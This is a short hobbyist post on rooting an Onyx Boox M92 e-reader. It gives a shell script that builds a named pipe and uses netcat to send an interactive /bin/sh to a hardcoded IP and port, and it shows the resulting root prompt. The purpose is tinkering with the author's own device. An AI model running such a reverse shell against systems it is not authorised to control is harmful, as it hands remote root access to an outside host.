Skip to content. | Skip to navigation

Personal tools

Navigation

You are here: Home / Members / jhb / rsh on boox m92

rsh on boox m92

by Jörg Baach last modified Dec 13, 2011 09:56 AM
getting a remote shell on the m92

Basically the same rsh script that user 'review' wrote works on the boox as well. I created a script called rsh.oar:

#!/bin/sh

myip=192.168.5.106

#create backpipe if it doesn't exist
if ls -l /tmp/|grep backpipe |grep ^p; then
     echo "debug: backpipe exist."
else
     mknod /tmp/backpipe p
fi

# the heart...
nc $myip 9999 0</tmp/backpipe|/bin/sh -i 2>&1 |tee -a /tmp/backpipe;

Now I start the webbrowser on the m92, exit it, say no to 'disconnect wifi?', and then start the script. The result is:

joerg@mint:~/projects/boox$ nc -l 9999
/bin/sh: can't access tty; job control turned off

BusyBox v1.6.1 () Built-in shell (ash)
Enter 'help' for a list of built-in commands.

root@onyx /opt/onyx/arm/lib/fonts$

I quite like the root bit :-)

Filed under: , ,
rich
rich says:
Apr 18, 2016 05:28 PM

hello , how can i disable wlan on the boox m92= thanks

Add comment

You can add a comment by filling out the form below. Plain text formatting.

Question: What is 6 times 7?
Your answer: